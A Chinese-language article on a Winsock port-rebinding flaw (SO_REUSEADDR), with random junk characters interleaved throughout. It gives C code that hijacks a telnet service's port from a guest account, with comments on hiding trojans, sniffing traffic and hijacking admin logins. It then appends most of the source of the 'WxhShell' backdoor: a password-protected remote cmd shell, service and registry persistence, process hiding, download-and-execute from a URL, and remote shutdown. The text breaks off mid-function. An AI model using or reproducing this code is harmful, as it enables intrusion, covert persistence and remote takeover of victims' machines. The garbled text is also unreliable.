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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: hmuhq:<f s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); oPbziB8 L5KcI saddr.sin_family = AF_INET; ]qq2VO<b NhF"% saddr.sin_addr.s_addr = htonl(INADDR_ANY); 0ZI}eZA j FdEUZ[IT`{ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); G
OG[^T ?-`&YfF
其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 })(robBkA IIBS:&;+- 这意味着什么?意味着可以进行如下的攻击: 152s<lu1Z c`lL&*] 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 /6y{?0S ]uh/ !\ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) xc`O\z_) v6L]3O1 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 :h3U^ L %ifl:K 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 r_tt~|s,> (47la$CR 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 \xC#Zs[< Tl]yl$ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;Kg7}4`I /!p}H'jl 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 uocFOlU0n [fvjvN` #include {:n1|_r4Z #include e?O$`lf #include =9p3^:S #include ICe;p
V DWORD WINAPI ClientThread(LPVOID lpParam); psz0q| int main() }mUb1b { W* v3B. WORD wVersionRequested; e$`hRZ%
DWORD ret; Y!Io @{f WSADATA wsaData; H<?s[MH[ BOOL val; d:_; SOCKADDR_IN saddr; @" umY-1f SOCKADDR_IN scaddr; STg}
Z int err; -m
;n}ECg SOCKET s; Z^_zcH' SOCKET sc; 37jrWe6xwp int caddsize; %yl17:h# HANDLE mt; |*-<G3@ DWORD tid; HRu;*3+%>F wVersionRequested = MAKEWORD( 2, 2 ); :Y9/} b{ err = WSAStartup( wVersionRequested, &wsaData ); WlGT&m&2 if ( err != 0 ) { $ye>;Ek printf("error!WSAStartup failed!\n"); <Kl$ek8 return -1;
cJTwgm? } ]0|A\bE\S saddr.sin_family = AF_INET; ^7=7V0>,: \W=
qqE] //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 fd>&RbUp )t\aB_ = saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @A*>lUo saddr.sin_port = htons(23); vEGI if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Z`ww[Tbv~ { WNQ<XBqAw printf("error!socket failed!\n"); _ F|}=^Z` return -1; {I?)ODx7qC } =1,1}OucP val = TRUE; u-mD" //SO_REUSEADDR选项就是可以实现端口重绑定的 iy]?j$B$ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) h@(+(fVHrp { Y|
ch ; printf("error!setsockopt failed!\n"); *-Vr=e<8 return -1; 3hUP>F8 } 've[Mx //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; qE]e+S?57a //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Vi}E9I4 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 8VO];+N ~(GNY5 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
~vM99hW { F*>#Xr~/ ret=GetLastError(); rzLW@k printf("error!bind failed!\n"); j F/S2Ty2 return -1; !=a]Awr\ } ~<s =yjTu+ listen(s,2); P~iZae
while(1) WY!4^<|w" { ._`rh caddsize = sizeof(scaddr); S9r+Nsn //接受连接请求 w1aoEo "S sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); D>HbJCG4^ if(sc!=INVALID_SOCKET) xk7Dx} { X;l/D},. mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); D3P/: 4 if(mt==NULL) gw[Eu>I { zR]!g|;f printf("Thread Creat Failed!\n"); Q>rr?L` break; ftl?x'P% } rPGj+wL5- } #Nco|v CloseHandle(mt); $gD8[NAIx= } fmc\Li closesocket(s); c:>&YGmhu WSACleanup(); <'SS IMr return 0; Qr4 D } G'PZ=+!XO/ DWORD WINAPI ClientThread(LPVOID lpParam) 6o(IL-0]c { ?# _{h SOCKET ss = (SOCKET)lpParam; =y)K er SOCKET sc; ()O&O+R|) unsigned char buf[4096]; @DY"~ccH SOCKADDR_IN saddr; ctLNzJes% long num; gkA_<,38 DWORD val; b:p0@ |y DWORD ret; 0BhcXHt //如果是隐藏端口应用的话,可以在此处加一些判断 JTm'fo[ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 LCtVM70 saddr.sin_family = AF_INET; WulyMcJ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 6l;2kztGp saddr.sin_port = htons(23); yGAFQ|+ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) qIsf!1I? { {ilz[LM8( printf("error!socket failed!\n"); Ddpcov return -1; qxu3y+po] } -`* 'p i val = 100; Dm5 Uy^F} if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |l+5E { !U m9ceK ret = GetLastError(); %]DA4W return -1; ,1N|lyV } Abt<23$h if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .'<K$:8@| { YI,t{Wy ret = GetLastError(); ?{^_z_, return -1; 4^bt~{} } Bps%>P~. if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) :;]9,n { /r"<:+ printf("error!socket connect failed!\n"); z06,$OYz closesocket(sc); 5}ftiy[Yc closesocket(ss); o9"?z return -1; DR}I+<*%aD } "YgpgW while(1) Y'iyfnk { {> msE }L //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 D^US2B //如果是嗅探内容的话,可以再此处进行内容分析和记录 I@/
G#3Zr //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 V@k+RniEO num = recv(ss,buf,4096,0); ,mp<<%{u if(num>0) 7`;sX?R send(sc,buf,num,0); |;wc8; else if(num==0) nco.j: break; {Fw"y %a^ num = recv(sc,buf,4096,0); /ta}12Z if(num>0) 208^Yu send(ss,buf,num,0);
c2M else if(num==0) m]>zdP+ break; JpC=ACF } Mp|Jt closesocket(ss); iv *$!\Cd closesocket(sc); 'QT~o-U return 0 ; dnoF)(d&Cm } 3u/JcU-< Gd%i?(U,R K_)~&Cu*' ========================================================== ?o;ip xj>P5\mW# 下边附上一个代码,,WXhSHELL 6-_g1vq JVX)>2&$ ========================================================== 5+M,X kg 9,INyEyAL #include "stdafx.h" CsA (oX =eU=\td^ #include <stdio.h> iF^qbh%%E #include <string.h> I 0~'z f #include <windows.h> *zrGrk:l #include <winsock2.h> k;+TN9 #include <winsvc.h> QX<n^W #include <urlmon.h> FAdTm#tgW] HqW / #pragma comment (lib, "Ws2_32.lib") A4,{ep'Z! #pragma comment (lib, "urlmon.lib") z1Ieva] 8j#S+=l> #define MAX_USER 100 // 最大客户端连接数 H_RfIX)X #define BUF_SOCK 200 // sock buffer bQautRW #define KEY_BUFF 255 // 输入 buffer Hh^ "c} ,yltt+e #define REBOOT 0 // 重启 vYV!8o.I #define SHUTDOWN 1 // 关机 )hrsA&1w
#("M4}~ #define DEF_PORT 5000 // 监听端口 rH`\UZ{cc q!:dZES #define REG_LEN 16 // 注册表键长度 F}u'A,Hc #define SVC_LEN 80 // NT服务名长度 P!+Gwm{ n>, :*5"G // 从dll定义API 5,gT|4|B\g typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); H\QkU`b typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); e El)wZ,A typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); F
`o9GLxM} typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); wvq4 P i6KfH\{N // wxhshell配置信息 z+yq%O struct WSCFG { q|<B9Jk int ws_port; // 监听端口 a|z-EKV char ws_passstr[REG_LEN]; // 口令 /3aW 0/^o int ws_autoins; // 安装标记, 1=yes 0=no |qMG@ char ws_regname[REG_LEN]; // 注册表键名 m*]`/:/X[ char ws_svcname[REG_LEN]; // 服务名 ni2#20L char ws_svcdisp[SVC_LEN]; // 服务显示名 \~*<[.8~ char ws_svcdesc[SVC_LEN]; // 服务描述信息 '{2]: char ws_passmsg[SVC_LEN]; // 密码输入提示信息 32 i6j int ws_downexe; // 下载执行标记, 1=yes 0=no *eoH"UFYQ# char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" U}jGr=tu char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1+Gq<]@G !*:g??[T }; Eto"B" |2l-s 1|y // default Wxhshell configuration !=:>y WQ struct WSCFG wscfg={DEF_PORT, *gwaW!= "xuhuanlingzhe", +4%~.,<_to 1, O(W"QY "Wxhshell", {KHI(*r; "Wxhshell", zTcz+3x "WxhShell Service", o5s6$\" "Wrsky Windows CmdShell Service", ;=,-C;` "Please Input Your Password: ", QWOPCoUet 1, Acw`ytV " http://www.wrsky.com/wxhshell.exe", #4m5I=" "Wxhshell.exe" eV*QUjS~ }; A.r7 ks v<v;Z R) // 消息定义模块 O6Py char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h&j2mv( char *msg_ws_prompt="\n\r? for help\n\r#>"; F[}#7}xjA char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; r[V%DU$dj char *msg_ws_ext="\n\rExit."; W]eILCo char *msg_ws_end="\n\rQuit."; Q (f0S char *msg_ws_boot="\n\rReboot..."; SOR\oZ7 char *msg_ws_poff="\n\rShutdown..."; j:cu;6| char *msg_ws_down="\n\rSave to "; 2B$dT=G *}C%z( char *msg_ws_err="\n\rErr!"; k4$zM/ob char *msg_ws_ok="\n\rOK!"; D
1.59mHsD y0p=E^QM char ExeFile[MAX_PATH]; enPtW int nUser = 0; HVA:|Z19 HANDLE handles[MAX_USER]; $EY[CA
E int OsIsNt; Xd:{.AXW tkV[^OeU> SERVICE_STATUS serviceStatus; }'Ap@4 SERVICE_STATUS_HANDLE hServiceStatusHandle; A~Sc ] M d"n>Q Tn\ // 函数声明 h
i!K-_Uy int Install(void); sBZn0h@ int Uninstall(void); =*'yGB[x) int DownloadFile(char *sURL, SOCKET wsh); eWqS]cM# int Boot(int flag); g"n>v
c7 void HideProc(void); Ru`afjc int GetOsVer(void); B)7 :*Kj int Wxhshell(SOCKET wsl); ]uFJ~:R void TalkWithClient(void *cs); }BS
EK<W int CmdShell(SOCKET sock); \
R}I4' int StartFromService(void); oU1N>,
int StartWxhshell(LPSTR lpCmdLine); WY|~E%k x=rMjz-`_ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;sA
5&a>! VOID WINAPI NTServiceHandler( DWORD fdwControl ); \
&|xMw[ 4}D&=0IZ // 数据结构和表定义 !Dc?9W!b SERVICE_TABLE_ENTRY DispatchTable[] = J37vA zK% { ]u|FcwWc3 {wscfg.ws_svcname, NTServiceMain}, w +UBXW {NULL, NULL} ?W ^`Fa)]o }; DOtz /|U;_F Pmc // 自我安装 ,+BFpN' int Install(void) Q-h< av9 { a?Fz&BE char svExeFile[MAX_PATH]; hFoeVM[h HKEY key; t@lTA>;U@ strcpy(svExeFile,ExeFile); ]gHrqi% MA tF, // 如果是win9x系统,修改注册表设为自启动 "=]'"'B: if(!OsIsNt) { ^Mm%`B7W if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w@WtW8
p^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @&HLm^j2O RegCloseKey(key); lz0dt<8eP if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g#{7qmM RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -"Kjn`8 RegCloseKey(key); @QJPcF" return 0; a$uDoi } `Q+O#l? } }c9RDpjh~ } *@lVesC2 else { ?jO<<@*2S 4%v-)HGh // 如果是NT以上系统,安装为系统服务 Yc[vH=gV} SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); A5fzyG if (schSCManager!=0) meB9:w[m { #( 4)ps. SC_HANDLE schService = CreateService hHEn ( U>b.MIBX schSCManager,
CU\r
I wscfg.ws_svcname, )MN 6\v wscfg.ws_svcdisp, %> YRNW@% SERVICE_ALL_ACCESS, /$qB&OWJn
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 29@m:=-}7 SERVICE_AUTO_START, ?)qm=mebY SERVICE_ERROR_NORMAL, qi_uob svExeFile, z5^Se!`5 NULL, J=t}N+:F`b NULL, k fOd|- NULL, OlW5k`B NULL, yF
XPY=EQ NULL `sdbo](76 ); -oju-gf K if (schService!=0) !M6Km(> { ]nS9taEA CloseServiceHandle(schService); '}Jq(ah( CloseServiceHandle(schSCManager); (:#4{C strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); gU@.IOg strcat(svExeFile,wscfg.ws_svcname); jA3Ir;a if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { vO;:~ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :$^sI"hO RegCloseKey(key); K]U8y$^ return 0; ui*CA^ Y } Gnqun% } <~5$<L4 CloseServiceHandle(schSCManager); w\a9A#v, } [+dTd2uZ<\ } A@EUH g;nPF*( return 1; @rW%*?$7 } 4y9n,~Qgw ^@q$c // 自我卸载 0 KWi<G1 int Uninstall(void) `{@?O%UB { ~o/e0 HKEY key; :B_ itl0{e A.S:eQvS% if(!OsIsNt) { 9fb"R"(M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HuL9' M RegDeleteValue(key,wscfg.ws_regname); ld23^r RegCloseKey(key); 7G8M+i3q/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $66 DyK? RegDeleteValue(key,wscfg.ws_regname); NB/ wJ3 F RegCloseKey(key); Xn8r3Nb$A return 0; }~ o>H a; } G0$,H(]~ } Kd,7x'h`E } !TuMrA* else { GfT`>M?QGK DadlCEZv SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,ffH:3F if (schSCManager!=0) 8|p*T&Cn& { !xh.S#B SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M&O .7B1} if (schService!=0) GCPSe A~cx { {wp"zaa if(DeleteService(schService)!=0) { zpd Z. CloseServiceHandle(schService); \lpR+zaF CloseServiceHandle(schSCManager); U.QjB0; return 0; :<Y, f(c } =h2zIcj CloseServiceHandle(schService); 2s@<k1EdPl } x+7jJ=F CloseServiceHandle(schSCManager); VDq?,4Kb } g&V1<n\b+ } ,;yiV<AD 5rpTR return 1; @dCoh-Q3 } >*%mJX/F vrD]o1F // 从指定url下载文件 Cuq=>J int DownloadFile(char *sURL, SOCKET wsh) Ju#t^P { !bG%@{W T HRESULT hr; u%vq<|~- char seps[]= "/"; [,TuNd char *token; P*6B+8h"5g char *file; C.
Hr char myURL[MAX_PATH]; \j]i"LpWb char myFILE[MAX_PATH]; P'6eK? wh@;$s"B strcpy(myURL,sURL); 'e;]\<
0z token=strtok(myURL,seps); +Q3i&"QB. while(token!=NULL) U1t7XZ3e { >>voL DDd file=token; j\D_Z{m2 token=strtok(NULL,seps); X
rVF
% } WBgS9qiB -Fe))Y'= GetCurrentDirectory(MAX_PATH,myFILE); #?Z>o16,u strcat(myFILE, "\\"); .>0j<|~
strcat(myFILE, file); J?~El& send(wsh,myFILE,strlen(myFILE),0); *eAsA(; send(wsh,"...",3,0); ^b]h4z$ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); sF$$S/b if(hr==S_OK) QQUYWC return 0; |<l
sv else |Fk>NX return 1; l.c*,9
xn'&TQo0 } +pcpb)VL p^~AbU'6~ // 系统电源模块 F(J6 XnQ int Boot(int flag) 'a`cK;X9F { [;`B HANDLE hToken; dC$z q~q TOKEN_PRIVILEGES tkp; E({W`b~_f iX]Vkx if(OsIsNt) { *"\QR>n OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "NY[&S LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {2EIvKu3: tkp.PrivilegeCount = 1; p0jQQg tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]_6w(>A@3# AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); fz[o;GTc if(flag==REBOOT) { !e5!8z if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >YwvM=b"V return 0; 5hN`}Ve } fk5xIW else { +ML4.$lc^ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) P;7JK=~k return 0; X}@^$'W } ?RyeZKf } TUw+A6u:p else { f;AQw_{ if(flag==REBOOT) { _Mi`]VSq9 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) I!FIV^}Z( return 0; By&T59 } v?Z30?_&h else {
n7g}u if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d??;r: return 0; |]--sUx: } lyY\P6
X } Ass : F|+Qi BO return 1; ZqtL4M~9 } ! =(OvX_< ,sw|OYb // win9x进程隐藏模块 6_Ps*Ed void HideProc(void) uDhe
) { {)V!wSi
Iw)}YZmn HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); HQtR;[1 if ( hKernel != NULL ) I5#KLZVg { _"_
21uB pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6pJFrWe{ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); RT+pB{Y FreeLibrary(hKernel); Y~E
8z } * {avx B* 0TM+
return; JRti2Mu } &>nB@SQZ v2w|?26Lf // 获取操作系统版本 bVLBqa= int GetOsVer(void) vIq>QXb;d { zR@4Z>6
OSVERSIONINFO winfo; %#go9H(K winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]|m?pt GetVersionEx(&winfo); -!@]z2uU if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ke2zxX2f return 1; PHAM(iC&D else lJHU1
gu return 0; #%9t- } WswM5RN ^X]rFY1 // 客户端句柄模块 As{Q9o5j/ int Wxhshell(SOCKET wsl) PF+ F^;C { 3VZ}5 SOCKET wsh; L`2(u!i J struct sockaddr_in client; ;B^ 9sr DWORD myID; =I.uf ,+P2B%2c while(nUser<MAX_USER) ]D.}
/g { O#_\@f#[ int nSize=sizeof(client); dz6&TdEl wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }j)][{i*x if(wsh==INVALID_SOCKET) return 1; a
S;z
YD 1b=,lm handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2tw3 =) if(handles[nUser]==0) X :#}E7]j closesocket(wsh); -<6b[YA else M!`&Z9N nUser++; n-he|u } #Zg pm"MW WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); cy64xR BB r9Vt}]$a G return 0; IKrojK8-? } H73 r3BH J4]tT pu"K // 关闭 socket 5E#8F void CloseIt(SOCKET wsh) 0 wjL=]X1e { *snY|hF closesocket(wsh); dDbH+kqO nUser--; tXCgRU ExitThread(0); *L&|4|BF2 } #e[S+a =TGa\iclpB // 客户端请求句柄 w5+(A_ void TalkWithClient(void *cs) #[&9~za'"m { cK- jN9U
/s~BE ,su SOCKET wsh=(SOCKET)cs; Sa-" G` char pwd[SVC_LEN]; 2"QcjFW% char cmd[KEY_BUFF]; {(IHHA> char chr[1]; `i
vE:3k int i,j; hZ|8mV '};mBW4z while (nUser < MAX_USER) { ~#dfZa& M4n0GWHLy if(wscfg.ws_passstr) { C1uV7t*\ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b5#Jo2C`AJ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9JqT"zj //ZeroMemory(pwd,KEY_BUFF); t>2EZ{N+y i=0; !<<wI'8 while(i<SVC_LEN) { ><C9PS@ dG!) < // 设置超时 ,:{+-v( fd_set FdRead; R_=fH\c; struct timeval TimeOut; 7ju^B/7 FD_ZERO(&FdRead); *Oq&g\K) FD_SET(wsh,&FdRead); q>6RO2, TimeOut.tv_sec=8; $T_>WUiK TimeOut.tv_usec=0; KP`Pzx int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;D<;pW if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .IsOU 5~OKKSUmT if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xS; tmc pwd =chr[0]; QJ%N80 if(chr[0]==0xd || chr[0]==0xa) { },;Z<( pwd=0; /vPr^Wv break; /A-VT } JH#p;7; i++; BO+to. } /2cn`dR, k&:~l@?O // 如果是非法用户,关闭 socket hP_{$c{4:g if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); s6D Pb_, } DG,m;vg+ !FQS9SoO9 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); paUJq?Af send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4 g8t ?z3|^oU~d while(1) { L% T%6p_ uM[[skc ZeroMemory(cmd,KEY_BUFF); xs?]DJj ?[.g~DK, // 自动支持客户端 telnet标准 WHr:M/qD j=0; !,~C while(j<KEY_BUFF) { Gb.}af#v if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @2eH;?uO cmd[j]=chr[0]; WV;[v g] if(chr[0]==0xa || chr[0]==0xd) { {~V_6wY g cmd[j]=0; =kw6<!R break; u"(2Xer } 6-\C?w
A j++; fK{Z{)D } 3=_to7] 5IP@_GV| // 下载文件 rUmnv%qTS if(strstr(cmd,"http://")) { T'7x,8&2| send(wsh,msg_ws_down,strlen(msg_ws_down),0); scZ'/(b-E if(DownloadFile(cmd,wsh)) ;n b>IL send(wsh,msg_ws_err,strlen(msg_ws_err),0); KA."[dVa else 6M bMAh5> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HqA3.<=F, } X'5+)dj else { gWy2E;"a ;{rl
Y> switch(cmd[0]) { 9-?kamA QezDm^< // 帮助 9z(h8H case '?': { kN*\yH| send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); L\^H#:?t break; ]K%D$x{+\ } 0>0:ls // 安装 nHB`<B case 'i': { !B&1{ if(Install()) !7anJl send(wsh,msg_ws_err,strlen(msg_ws_err),0); |)Sx"B) else y{\(|j send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~{s7(^ P break; U=UnE"h } eC-nV)]I9 // 卸载 ?T:$:IHw case 'r': { 2@f E! if(Uninstall()) _xXDvBU send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dz&<6#L< else "zN]gz=OV> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \6v*c;ZF break; 610hw376B } zXg/.z] // 显示 wxhshell 所在路径 %GDs/9 case 'p': { ;hp?wb char svExeFile[MAX_PATH]; @T+pQ)0{{ strcpy(svExeFile,"\n\r"); 4S#q06=Xe strcat(svExeFile,ExeFile); lr@H4EJ{ send(wsh,svExeFile,strlen(svExeFile),0); 5VPP 2;J break; ^<O:`c6_ } ~0@+8%^>; // 重启 b."1p7' case 'b': { o*WI*Fb' send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]Q\/si& if(Boot(REBOOT)) 1~P ^g` send(wsh,msg_ws_err,strlen(msg_ws_err),0); t^1c^RpTb else { ceqYyVy closesocket(wsh); lGP'OY"Q ExitThread(0); FqK2[]8 } $:MO/Suz{ break; (Dx]!FFz } (eAh8^) // 关机 &4O0}ax*Zm case 'd': { M0zlB{eH send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x?| if(Boot(SHUTDOWN)) ,4%'~8'3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); tJ9i{TS else { Ka\%kB>*` closesocket(wsh); !]k $a ExitThread(0); S?_ ;$Cn } 0BTLIV$d; break; Ng3 MfbFG } 1(**JTe // 获取shell fw1 g;;E case 's': { >_$DKY>$` CmdShell(wsh); Y+tXWN"8 closesocket(wsh); ]='E&=nc ExitThread(0); ctL@&~*nY break; {^#62Y } <99Xg_e // 退出 AhARBgf< case 'x': { `MtPua\_ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &` u<KKF6 CloseIt(wsh); _KkLH\1g$ break; mu/O\'5 } ?b~V uo // 离开 D`lTP(] y case 'q': { 1v4( send(wsh,msg_ws_end,strlen(msg_ws_end),0); B&`hvR closesocket(wsh); \@4_l?M WSACleanup(); <"@~
exit(1); p_jDnb# break; *Ki ],>_~ } 4l$(#NB< } )BY\c7SG } Fr)G
h> d"|XN{ // 提示信息 pCNihZ~ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (@dh"=Lt\ } H\2+cAFN# } _gB`;zo 9(Vq@.;Z`j return; 1@kPl[`p' } i=-zaboo Wr7^ // shell模块句柄 ?2%d;tW int CmdShell(SOCKET sock) `&4L'1eF{ { yW^[{)V 3% STARTUPINFO si; R?(0:f ZeroMemory(&si,sizeof(si)); (i1FMd}G si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1@P/h#_Vr si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; k)b}"' I PROCESS_INFORMATION ProcessInfo; |J'@-*5?[8 char cmdline[]="cmd"; 0V"r$7(} CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >1,.4)k%K return 0; XN5EZ# } 8*H-</ = \ZigG{ // 自身启动模式 S WVeUL#5 int StartFromService(void) =2\k
Jv3 { nY'0*:'u typedef struct 1<fS&)^W { y!6B Gz DWORD ExitStatus; ANc)igo DWORD PebBaseAddress; KIC5U50J DWORD AffinityMask; d `>M-:dF DWORD BasePriority; UQaLhKv: ULONG UniqueProcessId; s-}|_g.Pt ULONG InheritedFromUniqueProcessId; 2 #kR1rJP } PROCESS_BASIC_INFORMATION; dd@^e)VZB D*o_IrG_( PROCNTQSIP NtQueryInformationProcess; Q`4= f/~"_O% static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; YxlV2hcX; static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,fpu@@2 e ,/I}W HANDLE hProcess; u&/q7EBfP PROCESS_BASIC_INFORMATION pbi; l{>fma]7 Uy5IvG;O+ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =zDU!< U if(NULL == hInst ) return 0; sHyhR: ^rfY9qMJr8 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [!]a'
